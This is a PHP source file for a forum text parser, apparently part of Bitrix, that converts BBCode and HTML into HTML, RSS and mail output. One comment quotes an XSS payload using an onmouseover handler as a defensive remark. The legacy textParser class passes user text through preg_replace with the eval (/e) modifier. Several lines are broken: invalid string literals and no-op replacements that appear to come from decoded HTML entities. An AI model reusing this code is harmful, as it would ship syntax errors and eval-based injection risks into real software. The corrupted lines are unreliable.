$text = parent::convert4mail($text);
if (!empty($this->arFiles))
$this->ParserFile($text, $this, "mail");
if (preg_match("/\\[cut(([^\\]])*)\\]/is".BX_UTF_PCRE_MODIFIER, $text, $matches))
{
$text = preg_replace(
array("/\\[cut(([^\\]])*)\\]/is".BX_UTF_PCRE_MODIFIER,
"/\\[\\/cut\\]/is".BX_UTF_PCRE_MODIFIER),
array("\001\\1\002",
"\003"),
$text);
while (preg_match("/(\001([^\002]*)\002([^\001\002\003]+)\003)/is".BX_UTF_PCRE_MODIFIER, $text, $arMatches))
$text = preg_replace(
"/(\001([^\002]*)\002([^\001\002\003]+)\003)/is".BX_UTF_PCRE_MODIFIER,
"\n>================== CUT ===================\n\\3\n>==========================================\n",
$text);
$text = preg_replace(
array("/\001([^\002]+)\002/",
"/\001\002/",
"/\003/"),
array("[cut\\1]",
"[cut]",
"[/cut]"),
$text);
}
}
return $text;
}
function ParserSpoiler(&$text, &$obj)
{
$matches = array();
if (method_exists($obj, "convert_spoiler_tag") && preg_match("/\\[(cut|spoiler)/is".BX_UTF_PCRE_MODIFIER, $text, $matches))
{
$text = preg_replace(
array(
"/\\[(cut|spoiler)(([^\\]])*)\\]/is".BX_UTF_PCRE_MODIFIER,
"/\\[\\/(cut|spoiler)\\]/is".BX_UTF_PCRE_MODIFIER
),
array(
"\001\\2\002",
"\003"),
$text);
$arMatches = array();
while (preg_match("/(\001([^\002]*)\002([^\001\002\003]+)\003)/is".BX_UTF_PCRE_MODIFIER, $text, $arMatches))
$text = preg_replace_callback("/\001([^\002]*)\002([^\001\002\003]+)\003/is".BX_UTF_PCRE_MODIFIER, array($this, "convert_spoiler_tag"), $text);
$text = preg_replace(
array("/\001([^\002]+)\002/",
"/\001\002/",
"/\003/"),
array("[spoiler\\1]",
"[spoiler]",
"[/spoiler]"),
$text);
}
}
function ParserFile(&$text, &$obj, $type="html")
{
if (method_exists($obj, "convert_attachment"))
{
$tmpType = $obj->type;
$obj->type = $type;
$text = preg_replace_callback("/\[file([^\]]*)id\s*=\s*([0-9]+)([^\]]*)\]/is".BX_UTF_PCRE_MODIFIER, array($this, "convert_attachment"), $text);
$obj->type = $tmpType;
}
}
function convert_spoiler_tag($text, $title="")
{
if (is_array($text))
{
$title = $text[1];
$text = $text[2];
}
if (empty($text))
return "";
$title = htmlspecialcharsbx(trim(htmlspecialcharsback($title), " =\"\\'"));
if ($this->type == "mail")
return "<dl><dt>".($title ?: GetMessage("FRM_SPOILER"))."</dt><dd>".htmlspecialcharsbx($text)."</dd></dl>";
global $APPLICATION;
$result = $APPLICATION->includeComponent(
"bitrix:forum.interface",
"spoiler",
Array(
"TITLE" => $title,
"TEXT" => $text,
"RETURN" => "Y"
),
null,
array("HIDE_ICONS" => "Y"));
return str_replace(array(chr(34), chr(39)), array("\013", "\014"), $result);
}
function convert_open_tag($marker = "quote")
{
$marker = (strToLower($marker) == "code" ? "code" : "quote");
$this->{$marker."_open"}++;
if ($this->type == "rss")
return "\n====".$marker."====\n";
else if ($this->type == "mail")
return ($marker == "code" ? "<code>" : "<blockquote>");
else if ($this->bMobile)
return "<div class='blog-post-".$marker."' title=\"".($marker == "quote" ? GetMessage("FRM_QUOTE") : GetMessage("FRM_CODE"))."\"><table class='blog".$marker."'><tr><td>";
else
return '<div class="entry-'.$marker.'"><table class="forum-'.$marker.'"><thead><tr><th>'.($marker == "quote" ? GetMessage("FRM_QUOTE") : GetMessage("FRM_CODE")).'</th></tr></thead><tbody><tr><td>';
}
function convert_close_tag($marker = "quote")
{
$marker = (strToLower($marker) == "code" ? "code" : "quote");
if ($this->{$marker."_open"} == 0)
{
$this->{$marker."_error"}++;
return "";
}
$this->{$marker."_closed"}++;
if ($this->type == "rss")
return "\n=============\n";
else if ($this->type == "mail")
return ($marker == "code" ? "</code>" : "</blockquote>");
else if ($this->bMobile)
return "</td></tr></table></div>";
else
return "</td></tr></tbody></table></div>";
}
function convert_image_tag($url = "", $params="")
{
$url = trim($url);
if (empty($url)) return "";
$type = (strtolower($this->type) == "rss" ? "rss" : "html");
$bErrorIMG = !preg_match("/^(http|https|ftp|\/)/i".BX_UTF_PCRE_MODIFIER, $url);
$url = str_replace(array("<", ">", "\""), array("%3C", "%3E", "%22"), $url);
// to secure from XSS [img]http://ya.ru/[url]http://onmouseover=prompt(/XSS/)//[/url].jpg[/img]
if ($bErrorIMG)
return "[img]".$url."[/img]";
if ($type != "html")
return '<img src="'.$url.'" alt="'.GetMessage("FRM_IMAGE_ALT").'" border="0" />';
$width = 0; $height = 0;
if (preg_match_all("/width\=(?P<width>\d+)|height\=(?P<height>\d+)/is".BX_UTF_PCRE_MODIFIER, $params, $matches)):
$width = intval(!empty($matches["width"][0]) ? $matches["width"][0] : $matches["width"][1]);
$height = intval(!empty($matches["height"][0]) ? $matches["height"][0] : $matches["height"][1]);
endif;
$result = $GLOBALS["APPLICATION"]->IncludeComponent(
"bitrix:forum.interface",
$this->imageTemplate,
Array(
"URL" => $url,
"SIZE" => array("width" => $width, "height" => $height),
"MAX_SIZE" => array("width" => $this->imageWidth, "height" => $this->imageHeight),
"HTML_SIZE"=> array("width" => $this->imageHtmlWidth, "height" => $this->imageHtmlHeight),
"CONVERT" => "N",
"FAMILY" => "FORUM",
"RETURN" => "Y"
),
$this->component,
array("HIDE_ICONS" => "Y"));
return $this->defended_tags($result, 'replace');
}
function convert_attachment($fileID = "", $p = "", $type = "", $text = "")
{
if (is_array($fileID))
{
$text = $fileID[0];
$p = $fileID[3];
$fileID = $fileID[2];
}
$fileID = intval($fileID);
$type = strtolower(empty($type) ? $this->type : $type);
$type = (in_array($type, array("html", "mail", "bbcode", "rss")) ? $type : "html");
$this->arFiles = (is_array($this->arFiles) ? $this->arFiles : array($this->arFiles));
if ($fileID <= 0 || (!array_key_exists($fileID, $this->arFiles) && !in_array($fileID, $this->arFiles)))
return $text;
if (!array_key_exists($fileID, $this->arFiles) && in_array($fileID, $this->arFiles)): // array(fileID10, fileID12, fileID14)
unset($this->arFiles[array_search($fileID, $this->arFiles)]);
$this->arFiles[$fileID] = $fileID; // array(fileID10 => fileID10, fileID12 => fileID12, fileID14 => fileID14)
endif;
if (!is_array($this->arFiles[$fileID]))
$this->arFiles[$fileID] = CFile::GetFileArray($fileID); // array(fileID10 => array about file, ....)
if (!is_array($this->arFiles[$fileID])): // if file does not exist
unset($this->arFiles[$fileID]);
return $text;
endif;
if (!array_key_exists($fileID, $this->arFilesParsed) || empty($this->arFilesParsed[$fileID][$type]))
{
$arFile = $this->arFiles[$fileID];
if ($type == "html" || $type == "rss")
{
$width = 0; $height = 0;
if (preg_match_all("/width\=(?P<width>\d+)|height\=(?P<height>\d+)/is".BX_UTF_PCRE_MODIFIER, $p, $matches)):
$width = intval(!empty($matches["width"][0]) ? $matches["width"][0] : $matches["width"][1]);
$height = intval(!empty($matches["height"][0]) ? $matches["height"][0] : $matches["height"][1]);
endif;
$arFile[$type] = $GLOBALS["APPLICATION"]->IncludeComponent(
"bitrix:forum.interface",
"show_file",
Array(
"FILE" => $arFile,
"SHOW_MODE" => ($type == "html" ? "THUMB" : "RSS"),
"SIZE" => array("width" => $width, "height" => $height),
"MAX_SIZE" => array("width" => $this->imageWidth, "height" => $this->imageHeight),
"HTML_SIZE"=> array("width" => $this->imageHtmlWidth, "height" => $this->imageHtmlHeight),
"CONVERT" => "N",
"NAME_TEMPLATE" => $this->userNameTemplate,
"FAMILY" => "FORUM",
"SINGLE" => "Y",
"RETURN" => "Y"),
$this->component,
array("HIDE_ICONS" => "Y"));
}
else
{
$path = '/bitrix/components/bitrix/forum.interface/show_file.php?fid='.$arFile["ID"];
$bIsImage = (CFile::CheckImageFile(CFile::MakeFileArray($fileID)) === null);
// $path = ($bIsImage && !empty($arFile["SRC"]) ? $arFile["SRC"] : !$bIsImage && !empty($arFile["URL"]) ? $arFile["URL"] : $path);
$path = preg_replace("'(?<!:)/+'s", "/", (substr($path, 0, 1) == "/" ? CHTTP::URN2URI($path, $this->serverName) : $path));
switch ($type)
{
case "bbcode":
$arFile["bbcode"] = ($bIsImage ? '[IMG]'.$path.'[/IMG]' : '[URL='.$path.']'.$arFile["ORIGINAL_NAME"].'[/URL]');
break;
case "mail":
$arFile["mail"] = $arFile["ORIGINAL_NAME"].($bIsImage ? " (IMAGE: ".$path.")" : " (URL: ".$path.")");
break;
}
}
$this->arFilesParsed[$fileID] = $arFile;
}
$this->arFilesIDParsed[] = $fileID;
return $this->arFilesParsed[$fileID][$type];
}
function convert_to_rss(
$text,
$arImages = Array(),
$arAllow = Array())
{
if (empty($arAllow))
$arAllow = array(
"HTML" => "N",
"ANCHOR" => "Y",
"BIU" => "Y",
"IMG" => "Y",
"QUOTE" => "Y",
"CODE" => "Y",
"FONT" => "Y",
"LIST" => "Y",
"SMILES" => "Y",
"NL2BR" => "N",
"TABLE" => "Y"
);
$text = preg_replace(
array(
"#^(.+?)<cut[\s]*(/>|>).*?$#is".BX_UTF_PCRE_MODIFIER,
"#^(.+?)\[cut[\s]*(/\]|\]).*?$#is".BX_UTF_PCRE_MODIFIER),
"\\1", $text);
return $this->convert($text, $arAllow, "rss", $arImages);
}
function render_user($fields)
{
$classAdditional = (!empty($fields['CLASS_ADDITIONAL']) ? $fields['CLASS_ADDITIONAL'] : '');
$pathToUser = (!empty($fields['PATH_TO_USER']) ? $fields['PATH_TO_USER'] : '');
$userId = (!empty($fields['USER_ID']) ? $fields['USER_ID'] : '');
$userName = (!empty($fields['USER_NAME']) ? $fields['USER_NAME'] : '');
$ajaxPage = $this->ajaxPage;
if (
$this->pathToUserEntityType && strlen($this->pathToUserEntityType) > 0
&& intval($this->pathToUserEntityId) > 0
)
{
$ajaxPage = $ajaxPage.(strpos($pathToUser, '?') === false ? '?' : '&').'entityType='.$this->pathToUserEntityType.'&entityId='.intval($this->pathToUserEntityId);
}
$anchorId = RandString(8);
$res = (
!$this->bPublic
? '<a class="blog-p-user-name'.$classAdditional.'" id="bp_'.$anchorId.'" href="'.CComponentEngine::MakePathFromTemplate($pathToUser, array("user_id" => $userId)).'" bx-tooltip-user-id="'.(!$this->bMobile ? $userId : '').'">'
: ''
).
$userName.
(
!$this->bPublic
? '</a>'
: ''
);
return $res;
}
}
//===========================
/**
* @deprecated Use forumTextParser
*/
class textParser
{
var $smiles = array();
var $preg_smiles = array();
var $allow_img_ext = "gif|jpg|jpeg|png";
var $image_params = array(
"width" => 300,
"height" => 300,
"template" => "popup_image");
var $LAST_ERROR = "";
var $path_to_smile = false;
var $quote_error = 0;
var $quote_open = 0;
var $quote_closed = 0;
var $MaxStringLen = 125;
var $code_error = 0;
var $code_open = 0;
var $code_closed = 0;
var $CacheTime = false;
var $arFontSize = array(
0 => 40, //"xx-small"
1 => 60, //"x-small"
2 => 80, //"small"
3 => 100, //"medium"
4 => 120, //"large"
5 => 140, //"x-large"
7 => 160); //"xx-large"
var $word_separator = "\s.,;:!?\#\-\*\|\[\]\(\)\{\}";
var $preg = array("counter" => 0, "pattern" => array(), "replace" => array());
function textParser($strLang = False, $pathToSmile = false)
{
global $DB;
static $arSmiles = array();
$strLang = ($strLang === false ? LANGUAGE_ID : $strLang);
$pathToSmile = ($pathToSmile === false ? "/bitrix/images/forum/smile/" : $pathToSmile);
$id = md5($pathToSmile."|".$pathToSmile);
if (!is_set($arSmiles, $id))
{
$arCollection = $arPattern = $arReplacement = array();
$db_res = CForumSmile::GetByType("S", $strLang);
foreach ($db_res as $key => $val)
{
$tok = strtok($val["TYPING"], " ");
while ($tok)
{
$row = array(
"TYPING" => $tok,
"IMAGE" => stripslashes($val["IMAGE"]),
"DESCRIPTION" => stripslashes($val["NAME"]));
$tok = str_replace(array(chr(34), chr(39), "<", ">"), array("\013", "\014", "<", ">"), $tok);
$code = preg_quote(str_replace(array("\x5C"), array("\"), $tok));
$patt = preg_quote($tok, "/");
$image = preg_quote($row["IMAGE"]);
$description = preg_quote(htmlspecialcharsbx($row["DESCRIPTION"], ENT_QUOTES), "/");
$arReplacement[] = "\$this->convert_emoticon('$code', '$image', '$description')";
$arPattern[] = "/(?<=[^\w&])$patt(?=.\W|\W.|\W$)/ei".BX_UTF_PCRE_MODIFIER;
$arCollection[] = $row;
$tok = strtok(" ");
}
}
$arSmiles[$id] = array(
"smiles" => $arCollection,
"pattern" => $arPattern,
"replace" => $arReplacement);
}
$this->smiles = $arSmiles[$id]["smiles"];
$this->preg_smiles = array(
"pattern" => $arSmiles[$id]["pattern"],
"replace" => $arSmiles[$id]["replace"]);
$this->path_to_smile = "";
}
function convert($text, $allow = array("HTML" => "N", "ANCHOR" => "Y", "BIU" => "Y", "IMG" => "Y", "QUOTE" => "Y", "CODE" => "Y", "FONT" => "Y", "LIST" => "Y", "SMILES" => "Y", "NL2BR" => "N", "VIDEO" => "Y"), $type = "html")
{
global $DB;
$text = preg_replace("#([?&;])PHPSESSID=([0-9a-zA-Z]{32})#is", "\\1PHPSESSID1=", $text);
$type = ($type == "rss" ? "rss" : "html");
$this->quote_error = 0;
$this->quote_open = 0;
$this->quote_closed = 0;
$this->code_error = 0;
$this->code_open = 0;
$this->code_closed = 0;
$this->preg = array("counter" => 0, "pattern" => array(), "replace" => array());
$allow = array(
"HTML" => ($allow["HTML"] == "Y" ? "Y" : "N"),
"NL2BR" => ($allow["NL2BR"] == "Y" ? "Y" : "N"),
"CODE" => ($allow["CODE"] == "N" ? "N" : "Y"),
"VIDEO" => ($allow["VIDEO"] == "N" ? "N" : "Y"),
"ANCHOR" => ($allow["ANCHOR"] == "N" ? "N" : "Y"),
"BIU" => ($allow["BIU"] == "N" ? "N" : "Y"),
"IMG" => ($allow["IMG"] == "N" ? "N" : "Y"),
"QUOTE" => ($allow["QUOTE"] == "N" ? "N" : "Y"),
"FONT" => ($allow["FONT"] == "N" ? "N" : "Y"),
"LIST" => ($allow["LIST"] == "N" ? "N" : "Y"),
"SMILES" => ($allow["SMILES"] == "N" ? "N" : "Y"));
$text = str_replace(
array("\001", "\002", "\003", "\004", "\005", "\013", "\014", chr(34), chr(39)),
array("", "", "", "", "", "", "", "\013", "\014"), $text);
if ($allow["HTML"] != "Y")
{
if ($allow["CODE"]=="Y")
{
$text = preg_replace(
array(
"#<code(\s+[^>]*>|>)(.+?)</code(\s+[^>]*>|>)#is".BX_UTF_PCRE_MODIFIER,
"/\[code([^\]])*\]/is".BX_UTF_PCRE_MODIFIER,
"/\[\/code([^\]])*\]/is".BX_UTF_PCRE_MODIFIER,
"/(?<=[\001])(([^\002]+))(?=([\002]))/ise".BX_UTF_PCRE_MODIFIER,
"/\001/",
"/\002/"),
array(
"[code]\\2[/code]",
"\001",
"\002",
"\$this->pre_convert_code_tag('\\2')",
"[code]",
"[/code]"), $text);
}
if ($allow["ANCHOR"]=="Y")
{
$text = preg_replace(
array(
"#<a[^>]+href\s*=\s*[\013]+(([^\013])+)[\013]+[^>]*>(.+?)</a[^>]*>#is".BX_UTF_PCRE_MODIFIER,
"#<a[^>]+href\s*=\s*[\014]+(([^\014])+)[\014]+[^>]*>(.+?)</a[^>]*>#is".BX_UTF_PCRE_MODIFIER,
"#<a[^>]+href\s*=\s*(([^\014\013\>])+)>(.+?)</a[^>]*>#is".BX_UTF_PCRE_MODIFIER),
"[url=\\1]\\3[/url]", $text);
}
if ($allow["IMG"]=="Y")
{
$text = preg_replace(
"#<img[^>]+src\s*=[\s\013\014]*(((http|https|ftp)://[.-_:a-z0-9@]+)*(\/[-_/=:.a-z0-9@{}&?\s%]+)+)[\s\013\014]*[^>]*>#is".BX_UTF_PCRE_MODIFIER,
"[img]\\1[/img]", $text);
}
if ($allow["QUOTE"]=="Y")
{
//$text = preg_replace("#(<quote(.*?)>(.*)</quote(.*?)>)#is", "[quote]\\3[/quote]", $text);
$text = preg_replace("#<(/?)quote(.*?)>#is", "[\\1quote]", $text);
}
if ($allow["FONT"]=="Y")
{
$text = preg_replace(
array(
"/\<font[^>]+size\s*=[\s\013\014]*([0-9]+)[\s\013\014]*[^>]*\>(.+?)\<\/font[^>]*\>/is".BX_UTF_PCRE_MODIFIER,
"/\<font[^>]+color\s*=[\s\013\014]*(\#[a-f0-9]{6})[^>]*\>(.+?)\<\/font[^>]*>/is".BX_UTF_PCRE_MODIFIER,
"/\<font[^>]+face\s*=[\s\013\014]*([a-z\s\-]+)[\s\013\014]*[^>]*>(.+?)\<\/font[^>]*>/is".BX_UTF_PCRE_MODIFIER),
array(
"[size=\\1]\\2[/size]",
"[color=\\1]\\2[/color]",
"[font=\\1]\\2[/font]"),
$text);
}
if ($allow["LIST"]=="Y")
{
$text = preg_replace(
array("/\001/is", "/\002/is",
"/\<ul((\s[^>]*)|(\s*))\>/is".BX_UTF_PCRE_MODIFIER,
"/\<\/ul([^>]*)\>/is".BX_UTF_PCRE_MODIFIER, ),
array("", "",
"\001",
"\002"),
$text);
while (preg_match("/\001([^\001\002]*)\002/ise".BX_UTF_PCRE_MODIFIER, $text))
$text = preg_replace("/\001([^\001\002]*)\002/ise".BX_UTF_PCRE_MODIFIER, "\$this->pre_convert_list('[list]\\1[/list]')", $text);
$text = preg_replace(
array("/\001/is", "/\002/is"),
array("<ul>", "</ul>"),
$text);
}
if ($allow["BIU"]=="Y")
{
$text = preg_replace(
array(
"/\<b([^\>]*)\>(.+?)\<\/b([^\>]*)>/is".BX_UTF_PCRE_MODIFIER,
"/\<u([^\>]*)\>(.+?)\<\/u([^\>]*)>/is".BX_UTF_PCRE_MODIFIER,
"/\<s([^\>]*)\>(.+?)\<\/s([^\>]*)>/is".BX_UTF_PCRE_MODIFIER,
"/\<i([^\>]*)\>(.+?)\<\/i([^\>]*)>/is".BX_UTF_PCRE_MODIFIER),
array(
"[b]\\2[/b]",
"[u]\\2[/u]",
"[s]\\2[/s]",
"[i]\\2[/i]"),
$text);
}
if (preg_match("/\<cut/is".BX_UTF_PCRE_MODIFIER, $text, $matches))
{
$text = preg_replace(
"/\<cut([^>]*)\>(.+?)\<\/cut>/is".BX_UTF_PCRE_MODIFIER,
"[cut=\\1]\\2[/cut]",
$text);
}
if (strLen($text)>0)
{
$text = str_replace(
array("<", ">", chr(34)),
array("<", ">", """),
$text);
}
}
elseif ($allow["NL2BR"]=="Y")
{
$text = str_replace("\n", "<br />", $text);
}
if ($allow["ANCHOR"]=="Y")
{
$word_separator = str_replace("\]", "", $this->word_separator);
$text = preg_replace("'(?<=^|[".$word_separator."]|\s)((http|https|news|ftp|aim|mailto)://[\.\-\_\:a-z0-9\@]([^\013\s\'\014\{\}\[])*)'is",
"[url]\\1[/url]", $text);
}
foreach ($allow as $tag => $val)
{
if ($val != "Y"):
continue;
endif;
if (strpos($text, "<nomodify>") !== false):
$text = preg_replace(
array(
"/\001/", "/\002/",
"/\<nomodify\>/is".BX_UTF_PCRE_MODIFIER, "/\<\/nomodify\>/is".BX_UTF_PCRE_MODIFIER,
"/(\001([^\002]+)\002)/ies".BX_UTF_PCRE_MODIFIER,
"/\001/", "/\002/"
),
array(
"", "",
"\001", "\002",
"\$this->defended_tags('\\2', 'replace')",
"<nomodify>", "</nomodify>"),
$text);
endif;
switch ($tag)
{
case "CODE":
$text = preg_replace(
array( "/\[code([^\]])*\]/is".BX_UTF_PCRE_MODIFIER,
"/\[\/code([^\]])*\]/is".BX_UTF_PCRE_MODIFIER,
"/(\001([^\002]+)\002)/ies".BX_UTF_PCRE_MODIFIER,
"/\001/",
"/\002/"),
array( "\001",
"\002",
"\$this->convert_code_tag('\\2', \$type)",
"[code]",
"[/code]"),
$text);
break;
case "VIDEO":
$text = preg_replace("/\[video([^\]]*)\](.+?)\[\/video[\s]*\]/ies".BX_UTF_PCRE_MODIFIER, "\$this->convert_video('\\1', '\\2')", $text);
break;
case "QUOTE":
$text = preg_replace("#(\[quote([^\]\<\>])*\](.*)\[/quote([^\]\<\>])*\])#ies", "\$this->convert_quote_tag('\\1', \$type)", $text);
break;
case "IMG":
$text = preg_replace("#\[img\](.+?)\[/img\]#ie", "\$this->convert_image_tag('\\1', \$type)", $text);
break;
case "ANCHOR":
$text = preg_replace(
array(
"/\[url\]( (?: [^\[\]]*? (?: \[ [^\]]+? \] )* [^\[\]]*? )*? )\[\/url\]/ixe".BX_UTF_PCRE_MODIFIER,
"/\[url\s*=\s*( (?: [^\[\]]*? (?: \[ [^\]]+? \] )* [^\[\]]*? )* )\s*\](.*?)\[\/url\]/ixes".BX_UTF_PCRE_MODIFIER
// ^---------------------------------------------^ - allow not nested [] in url
),
array( "\$this->convert_anchor_tag('\\1', '\\1', '' , \$type)",
"\$this->convert_anchor_tag('\\1', '\\2', '', \$type)"
),
$text);
break;
case "BIU":
$text = preg_replace(
array(
"/\[b\](.*?)\[\/b\]/is".BX_UTF_PCRE_MODIFIER,
"/\[i\](.*?)\[\/i\]/is".BX_UTF_PCRE_MODIFIER,
"/\[s\](.*?)\[\/s\]/is".BX_UTF_PCRE_MODIFIER,
"/\[u\](.*?)\[\/u\]/is".BX_UTF_PCRE_MODIFIER),
array(
"<b>\\1</b>",
"<i>\\1</i>",
"<s>\\1</s>",
"<u>\\1</u>"),
$text);
break;
case "LIST":
while (preg_match("/\[list\](.+?)\[\/list\]/is".BX_UTF_PCRE_MODIFIER, $text))
$text = preg_replace(
array(
"/\[list\](.+?)\[\/list\]/is".BX_UTF_PCRE_MODIFIER,
"/\[\*\]/".BX_UTF_PCRE_MODIFIER),
array(
"<ul>\\1</ul>",
"<li>"),
$text);
break;
case "FONT":
while (preg_match("/\[size\s*=\s*([^\]]+)\](.+?)\[\/size\]/is".BX_UTF_PCRE_MODIFIER, $text))
$text = preg_replace("/\[size\s*=\s*([^\]]+)\](.+?)\[\/size\]/ies".BX_UTF_PCRE_MODIFIER, "\$this->convert_font_attr('size', '\\1', '\\2')", $text);
while (preg_match("/\[font\s*=\s*([^\]]+)\](.*?)\[\/font\]/is".BX_UTF_PCRE_MODIFIER, $text))
$text = preg_replace("/\[font\s*=\s*([^\]]+)\](.*?)\[\/font\]/ies".BX_UTF_PCRE_MODIFIER, "\$this->convert_font_attr('font', '\\1', '\\2')", $text);
while (preg_match("/\[color\s*=\s*([^\]]+)\](.+?)\[\/color\]/is".BX_UTF_PCRE_MODIFIER, $text))
$text = preg_replace("/\[color\s*=\s*([^\]]+)\](.+?)\[\/color\]/ies".BX_UTF_PCRE_MODIFIER, "\$this->convert_font_attr('color', '\\1', '\\2')", $text);
break;
}
}
if (preg_match("/\[cut/is".BX_UTF_PCRE_MODIFIER, $text, $matches))
{
$text = preg_replace(
array("/\[cut(([^\]])*)\]/is".BX_UTF_PCRE_MODIFIER,
"/\[\/cut\]/is".BX_UTF_PCRE_MODIFIER),
array("\001\\1\002",
"\003"),
$text);
while (preg_match("/(\001([^\002]*)\002([^\001\002\003]+)\003)/ies".BX_UTF_PCRE_MODIFIER, $text, $arMatches))
$text = preg_replace("/(\001([^\002]*)\002([^\001\002\003]+)\003)/ies".BX_UTF_PCRE_MODIFIER, "\$this->convert_cut_tag('\\3', '\\2')", $text);
$text = preg_replace(
array("/\001([^\002]+)\002/",
"/\001\002/",
"/\003/"),
array("[cut\\1]",
"[cut]",
"[/cut]"),
$text);
}
$text = str_replace(
array(
"\n",
"(c)", "(C)",
"(tm)", "(TM)", "(Tm)", "(tM)",
"(r)", "(R)"),
array(
"<br />",
"©", "©",
"™", "™", "™", "™",
"®", "®"),
$text);
$text = preg_replace("/\n/", "<br />", $text);
if ($this->MaxStringLen > 0)
{
$text = preg_replace(
array(
"/(\&\#\d{1,3}\;)/is".BX_UTF_PCRE_MODIFIER,
"/(?<=^|\>)([^\<]+)(?=\<|$)/ies".BX_UTF_PCRE_MODIFIER,
"/(\<\019((\&\#\d{1,3}\;))\>)/is".BX_UTF_PCRE_MODIFIER,
"/[\\".chr(34)."]/",
"/[\\".chr(39)."]/"),
array(
"<\019\\1>",
"\$this->part_long_words('\\1')",
"\\2",
"\013",
"\014"),
$text);
}
if (strpos($text, "<nosmile>") !== false):
$text = preg_replace(
array(
"/\001/", "/\002/",
"/\<nosmile\>/is".BX_UTF_PCRE_MODIFIER, "/\<\/nosmile\>/is".BX_UTF_PCRE_MODIFIER,
"/(\001([^\002]+)\002)/ies".BX_UTF_PCRE_MODIFIER,
"/\001/is", "/\002/is"
),
array(
"", "",
"\001", "\002",
"\$this->defended_tags('\\2', 'replace')",
"<nosmile>", "</nosmile>"),
$text);
endif;
if ($allow["SMILES"]=="Y" && !empty($this->preg_smiles["pattern"]))
$text = preg_replace($this->preg_smiles["pattern"], $this->preg_smiles["replace"], ' '.$text.' ');
if ($this->preg["counter"] > 0)
$text = preg_replace($this->preg["pattern"], $this->preg["replace"], $text);
$text = str_replace(array("\013", "\014"), array(chr(34), chr(39)), $text);
return trim($text);
}
function defended_tags($text, $tag = 'replace')
{
switch ($tag)
{
case "replace":
$this->preg["pattern"][] = "/\<\017\#".$this->preg["counter"]."\>/is".BX_UTF_PCRE_MODIFIER;
$this->preg["replace"][] = str_replace("$", "\\$", $text);
$text = "<\017#".$this->preg["counter"].">";
$this->preg["counter"]++;
break;
}
return $text;
}
function killAllTags($text)
{
if (method_exists("CTextParser", "clearAllTags"))
return CTextParser::clearAllTags($text);
$text = strip_tags($text);
$text = preg_replace(
array(
"/\<(\/?)(quote|code|font|color|video|disk)([^\>]*)\>/is".BX_UTF_PCRE_MODIFIER,
"/\[(\/?)(b|u|i|s|list|code|quote|font|color|url|img|video|disk)([^\]]*)\]/is".BX_UTF_PCRE_MODIFIER),
"",
$text);
return $text;
}
function convert4mail($text)
{
$text = Trim($text);
if (strlen($text)<=0) return "";
$arPattern = array();
$arReplace = array();
$arPattern[] = "/\[(code|quote)(.*?)\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\n>================== \\1 ===================\n";
$arPattern[] = "/\[\/(code|quote)(.*?)\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\n>===========================================\n";
$arPattern[] = "/\<WBR[\s\/]?\>/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "";
$arPattern[] = "/^(\r|\n)+?(.*)$/";
$arReplace[] = "\\2";
$arPattern[] = "/\[b\](.+?)\[\/b\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\\1";
$arPattern[] = "/\[i\](.+?)\[\/i\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\\1";
$arPattern[] = "/\[u\](.+?)\[\/u\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "_\\1_";
$arPattern[] = "/\[s\](.+?)\[\/s\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "_\\1_";
$arPattern[] = "/\[(\/?)(color|font|size)([^\]]*)\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "";
$arPattern[] = "/\[url\](\S+?)\[\/url\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "(URL: \\1)";
$arPattern[] = "/\[url\s*=\s*(\S+?)\s*\](.*?)\[\/url\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\\2 (URL: \\1)";
$arPattern[] = "/\[img[^]]*\](.+?)\[\/img\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "(IMAGE: \\1)";
$arPattern[] = "/\[video([^\]]*)\](.+?)\[\/video[\s]*\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "(VIDEO: \\2)";
$arPattern[] = "/\[(\/?)list[^\]]*\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\n";
$arPattern[] = "/\\[user([^\\]]*)\\](.+?)\\[\\/user\\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\\2";
$arPattern[] = "/\\[DOCUMENT([^\\]]*)\\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "";
$arPattern[] = "/\[\*\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "- ";
$arPattern[] = "/\[(\/?)(left|center|right|justify)\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "";
// table
$arPattern[] = "/\[(table)(.*?)\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\n>================== \\1 ===================\n";
$arPattern[] = "/\[\/table(.*?)\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "\n>===========================================\n";
$arPattern[] = "/\[tr\]\s+/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "";
$arPattern[] = "/\[(\/?)(tr|td)\]/is".BX_UTF_PCRE_MODIFIER;
$arReplace[] = "";
$text = preg_replace($arPattern, $arReplace, $text);
$text = str_replace("­", "", $text);
if (preg_match("/\[cut(([^\]])*)\]/is".BX_UTF_PCRE_MODIFIER, $text, $matches))
{
$text = preg_replace(
array("/\[cut(([^\]])*)\]/is".BX_UTF_PCRE_MODIFIER,
"/\[\/cut\]/is".BX_UTF_PCRE_MODIFIER),
array("\001\\1\002",
"\003"),
$text);
while (preg_match("/(\001([^\002]*)\002([^\001\002\003]+)\003)/is".BX_UTF_PCRE_MODIFIER, $text, $arMatches))
$text = preg_replace(
"/(\001([^\002]*)\002([^\001\002\003]+)\003)/is".BX_UTF_PCRE_MODIFIER,
"\n>================== CUT ===================\n\\3\n>==========================================\n",
$text);
$text = preg_replace(
array("/\001([^\002]+)\002/",
"/\001\002/",
"/\003/"),
array("[cut\\1]",
"[cut]",
"[/cut]"),
$text);
}
$text = str_replace(" ", " ", $text);
$text = str_replace(""", "\"", $text);
$text = str_replace("\", "\\", $text);
$text = str_replace("$", "\$", $text);
$text = str_replace("!", "!", $text);
$text = str_replace("[", "[", $text);
$text = str_replace("]", "]", $text);
$text = str_replace("'", "'", $text);
$text = str_replace("<", "<", $text);
$text = str_replace(">", ">", $text);
